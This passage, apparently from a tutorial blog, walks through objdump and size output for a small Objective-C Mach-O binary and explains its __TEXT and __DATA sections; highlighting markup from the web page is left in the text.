<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __TEXT,__unwind_info:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA_CONST,__got:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA_CONST,__cfstring:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA_CONST,__objc_classlist:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA_CONST,__objc_imageinfo:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA,__la_symbol_ptr:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA,__objc_const:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA,__objc_selrefs:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA,__objc_classrefs:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA,__objc_ivar:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA,__objc_data:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>

Disassembly of section __DATA,__data:
<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>SNIP<span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-number">-8</span><span class="hljs-operator">&lt;</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-operator">-</span>
</code></pre><h2 id="heading-sections">Sections</h2>
<p>In the above listing we find several ‘sections’. They are:</p>
<pre><code><span class="hljs-bullet">-</span> <span class="hljs-strong">__TEXT,__</span>text
<span class="hljs-bullet">-</span> <span class="hljs-strong">__TEXT,__</span>stubs
<span class="hljs-bullet">-</span> <span class="hljs-strong">__TEXT,__</span>stub<span class="hljs-emphasis">_helper
- <span class="hljs-strong">__TEXT,__</span>cstring
- <span class="hljs-strong">__TEXT,__</span>objc_</span>methname
<span class="hljs-bullet">-</span> <span class="hljs-strong">__TEXT,__</span>objc<span class="hljs-emphasis">_classname
- <span class="hljs-strong">__TEXT,__</span>objc_</span>methtype
<span class="hljs-bullet">-</span> <span class="hljs-strong">__TEXT,__</span>unwind<span class="hljs-emphasis">_info
- <span class="hljs-strong">__DATA<span class="hljs-emphasis">_CONST,<span class="hljs-strong">__got
- __</span>DATA_</span>CONST,__</span>cfstring
- <span class="hljs-strong">__DATA<span class="hljs-emphasis">_CONST,<span class="hljs-strong">__objc<span class="hljs-emphasis">_classlist
- <span class="hljs-strong">__DATA<span class="hljs-emphasis">_CONST,<span class="hljs-strong">__objc<span class="hljs-emphasis">_imageinfo
- <span class="hljs-strong">__DATA,__</span>la_</span>symbol<span class="hljs-emphasis">_ptr
- <span class="hljs-strong">__DATA,__</span>objc_</span>const
- __</span>DATA,<span class="hljs-strong">__objc<span class="hljs-emphasis">_selrefs
- <span class="hljs-strong">__DATA,__</span>objc_</span>classrefs
- __</span>DATA,<span class="hljs-strong">__objc<span class="hljs-emphasis">_ivar
- <span class="hljs-strong">__DATA,__</span>objc_</span>data
- __</span>DATA,<span class="hljs-strong">__data</span></span></span></span></span></span></span></span>
</code></pre><p>and, yes, the order is important.</p>
<p>We observe that the first section contains the definition of the methods</p>
<pre><code><span class="hljs-selector-attr">[myNumber randomInit]</span>
<span class="hljs-selector-attr">[myNumber isPerfectSquare]</span>
<span class="hljs-selector-attr">[myNumber nearestPerfectSquare]</span>
<span class="hljs-selector-attr">[myNumber isPrime]</span>
<span class="hljs-selector-attr">[myNumber value]</span>
<span class="hljs-selector-attr">[myNumber setValue:]</span>
<span class="hljs-selector-tag">_main</span>
</code></pre><p>hence, it contains the definition of the actual program.</p>
<p>Scrolling down the disassembled code, we find the section <code>__DATA,__objc_const</code>. Here we can see some interesting subsections:</p>
<pre><code>__OBJC_METACLASS_RO_$_myNumber
__OBJC_$_INSTANCE_METHODS_myNumber
__OBJC_$_INSTANCE_VARIABLES_myNumber
__OBJC_$_PROP_LIST_myNumber
__OBJC_CLASS_RO_$_myNumber
</code></pre><p>These seem to be relevant for the class we have defined. the names aree self-explanatory.</p>
<p>In the <code>__TEXT,__text section</code>, we find the code for the methods defined in the first section.</p>
<p>Actually we abused the potential of objdump to obtain the list above, in fact, the summaries of the headers for each section could be obtained with any of the switches <code>-h, --headers, --section-headers</code>. See the example below.</p>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX Debugging % objdump --headers myNumber 

<span class="hljs-attribute">myNumber</span>:    file format mach-o <span class="hljs-number">64</span>-bit x<span class="hljs-number">86</span>-<span class="hljs-number">64</span>

<span class="hljs-attribute">Sections</span>:
<span class="hljs-attribute">Idx</span> Name             Size     VMA              Type
  <span class="hljs-attribute">0</span> __text           <span class="hljs-number">00000689</span> <span class="hljs-number">00000001000036</span>f<span class="hljs-number">0</span> TEXT
  <span class="hljs-attribute">1</span> __stubs          <span class="hljs-number">00000030</span> <span class="hljs-number">0000000100003</span>d<span class="hljs-number">7</span>a TEXT
  <span class="hljs-attribute">2</span> __stub_helper    <span class="hljs-number">00000060</span> <span class="hljs-number">0000000100003</span>dac TEXT
  <span class="hljs-attribute">3</span> __cstring        <span class="hljs-number">00000118</span> <span class="hljs-number">0000000100003</span>e<span class="hljs-number">0</span>c DATA
  <span class="hljs-attribute">4</span> __objc_methname  <span class="hljs-number">0000005</span>a <span class="hljs-number">0000000100003</span>f<span class="hljs-number">24</span> DATA
  <span class="hljs-attribute">5</span> __objc_classname <span class="hljs-number">00000009</span> <span class="hljs-number">0000000100003</span>f<span class="hljs-number">7</span>e DATA
  <span class="hljs-attribute">6</span> __objc_methtype  <span class="hljs-number">00000025</span> <span class="hljs-number">0000000100003</span>f<span class="hljs-number">87</span> DATA
  <span class="hljs-attribute">7</span> __unwind_info    <span class="hljs-number">00000048</span> <span class="hljs-number">0000000100003</span>fac DATA
  <span class="hljs-attribute">8</span> __got            <span class="hljs-number">00000010</span> <span class="hljs-number">0000000100004000</span> DATA
  <span class="hljs-attribute">9</span> __cfstring       <span class="hljs-number">00000140</span> <span class="hljs-number">0000000100004010</span> DATA
 <span class="hljs-attribute">10</span> __objc_classlist <span class="hljs-number">00000008</span> <span class="hljs-number">0000000100004150</span> DATA
 <span class="hljs-attribute">11</span> __objc_imageinfo <span class="hljs-number">00000008</span> <span class="hljs-number">0000000100004158</span> DATA
 <span class="hljs-attribute">12</span> __la_symbol_ptr  <span class="hljs-number">00000040</span> <span class="hljs-number">0000000100008000</span> DATA
 <span class="hljs-attribute">13</span> __objc_const     <span class="hljs-number">00000168</span> <span class="hljs-number">0000000100008040</span> DATA
 <span class="hljs-attribute">14</span> __objc_selrefs   <span class="hljs-number">00000030</span> <span class="hljs-number">00000001000081</span>a<span class="hljs-number">8</span> DATA
 <span class="hljs-attribute">15</span> __objc_classrefs <span class="hljs-number">00000008</span> <span class="hljs-number">00000001000081</span>d<span class="hljs-number">8</span> DATA
 <span class="hljs-attribute">16</span> __objc_ivar      <span class="hljs-number">00000008</span> <span class="hljs-number">00000001000081</span>e<span class="hljs-number">0</span> DATA
 <span class="hljs-attribute">17</span> __objc_data      <span class="hljs-number">00000050</span> <span class="hljs-number">00000001000081</span>e<span class="hljs-number">8</span> DATA
 <span class="hljs-attribute">18</span> __data           <span class="hljs-number">00000008</span> <span class="hljs-number">0000000100008238</span> DATA
</code></pre><p>By issuing the command with the switches  <code>-s, --full-contents</code> we obtain a hex dump of the file, properly organised into sections. We need to come back on the VMA concept – this will be addressed in subsequent articles. For the very moment, we will just refer to the usual Wikipedia lemma: https://en.wikipedia.org/wiki/Virtual_memory. </p>
<p>I find it extremely interesting to compare the results of the previous command with those of the following:</p>
<pre><code><span class="hljs-attribute">gbiondo</span>@tripleX Debugging % size -ml myNumber
<span class="hljs-attribute">Segment</span> __PAGEZERO: <span class="hljs-number">4294967296</span> (zero fill)  (vmaddr <span class="hljs-number">0</span>x<span class="hljs-number">0</span> fileoff <span class="hljs-number">0</span>)
<span class="hljs-attribute">Segment</span> __TEXT: <span class="hljs-number">16384</span> (vmaddr <span class="hljs-number">0</span>x<span class="hljs-number">100000000</span> fileoff <span class="hljs-number">0</span>)
    <span class="hljs-attribute">Section</span> __text: <span class="hljs-number">1673</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">1000036</span>f<span class="hljs-number">0</span> offset <span class="hljs-number">14064</span>)
    <span class="hljs-attribute">Section</span> __stubs: <span class="hljs-number">48</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100003</span>d<span class="hljs-number">7</span>a offset <span class="hljs-number">15738</span>)
    <span class="hljs-attribute">Section</span> __stub_helper: <span class="hljs-number">96</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100003</span>dac offset <span class="hljs-number">15788</span>)
    <span class="hljs-attribute">Section</span> __cstring: <span class="hljs-number">280</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100003</span>e<span class="hljs-number">0</span>c offset <span class="hljs-number">15884</span>)
    <span class="hljs-attribute">Section</span> __objc_methname: <span class="hljs-number">90</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">24</span> offset <span class="hljs-number">16164</span>)
    <span class="hljs-attribute">Section</span> __objc_classname: <span class="hljs-number">9</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">7</span>e offset <span class="hljs-number">16254</span>)
    <span class="hljs-attribute">Section</span> __objc_methtype: <span class="hljs-number">37</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100003</span>f<span class="hljs-number">87</span> offset <span class="hljs-number">16263</span>)
    <span class="hljs-attribute">Section</span> __unwind_info: <span class="hljs-number">72</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100003</span>fac offset <span class="hljs-number">16300</span>)
    <span class="hljs-attribute">total</span> <span class="hljs-number">2305</span>
<span class="hljs-attribute">Segment</span> __DATA_CONST: <span class="hljs-number">16384</span> (vmaddr <span class="hljs-number">0</span>x<span class="hljs-number">100004000</span> fileoff <span class="hljs-number">16384</span>)
    <span class="hljs-attribute">Section</span> __got: <span class="hljs-number">16</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100004000</span> offset <span class="hljs-number">16384</span>)
    <span class="hljs-attribute">Section</span> __cfstring: <span class="hljs-number">320</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100004010</span> offset <span class="hljs-number">16400</span>)
    <span class="hljs-attribute">Section</span> __objc_classlist: <span class="hljs-number">8</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100004150</span> offset <span class="hljs-number">16720</span>)
    <span class="hljs-attribute">Section</span> __objc_imageinfo: <span class="hljs-number">8</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100004158</span> offset <span class="hljs-number">16728</span>)
    <span class="hljs-attribute">total</span> <span class="hljs-number">352</span>
<span class="hljs-attribute">Segment</span> __DATA: <span class="hljs-number">16384</span> (vmaddr <span class="hljs-number">0</span>x<span class="hljs-number">100008000</span> fileoff <span class="hljs-number">32768</span>)
    <span class="hljs-attribute">Section</span> __la_symbol_ptr: <span class="hljs-number">64</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100008000</span> offset <span class="hljs-number">32768</span>)
    <span class="hljs-attribute">Section</span> __objc_const: <span class="hljs-number">360</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100008040</span> offset <span class="hljs-number">32832</span>)
    <span class="hljs-attribute">Section</span> __objc_selrefs: <span class="hljs-number">48</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">1000081</span>a<span class="hljs-number">8</span> offset <span class="hljs-number">33192</span>)
    <span class="hljs-attribute">Section</span> __objc_classrefs: <span class="hljs-number">8</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">1000081</span>d<span class="hljs-number">8</span> offset <span class="hljs-number">33240</span>)
    <span class="hljs-attribute">Section</span> __objc_ivar: <span class="hljs-number">8</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">1000081</span>e<span class="hljs-number">0</span> offset <span class="hljs-number">33248</span>)
    <span class="hljs-attribute">Section</span> __objc_data: <span class="hljs-number">80</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">1000081</span>e<span class="hljs-number">8</span> offset <span class="hljs-number">33256</span>)
    <span class="hljs-attribute">Section</span> __data: <span class="hljs-number">8</span> (addr <span class="hljs-number">0</span>x<span class="hljs-number">100008238</span> offset <span class="hljs-number">33336</span>)
    <span class="hljs-attribute">total</span> <span class="hljs-number">576</span>
<span class="hljs-attribute">Segment</span> __LINKEDIT: <span class="hljs-number">16384</span> (vmaddr <span class="hljs-number">0</span>x<span class="hljs-number">10000</span>c<span class="hljs-number">000</span> fileoff <span class="hljs-number">49152</span>)
<span class="hljs-attribute">total</span> <span class="hljs-number">4295032832</span>
</code></pre><p>We run</p>
<pre><code>objdump <span class="hljs-operator">-</span><span class="hljs-operator">-</span>full<span class="hljs-operator">-</span>contents myNumber <span class="hljs-operator">&gt;</span> myNumber.richHexDump
</code></pre><p>to obtain a file (myNumber.richHexDump). Reading this file helps us giving more sense to some other sections. More in detail, we see:</p>
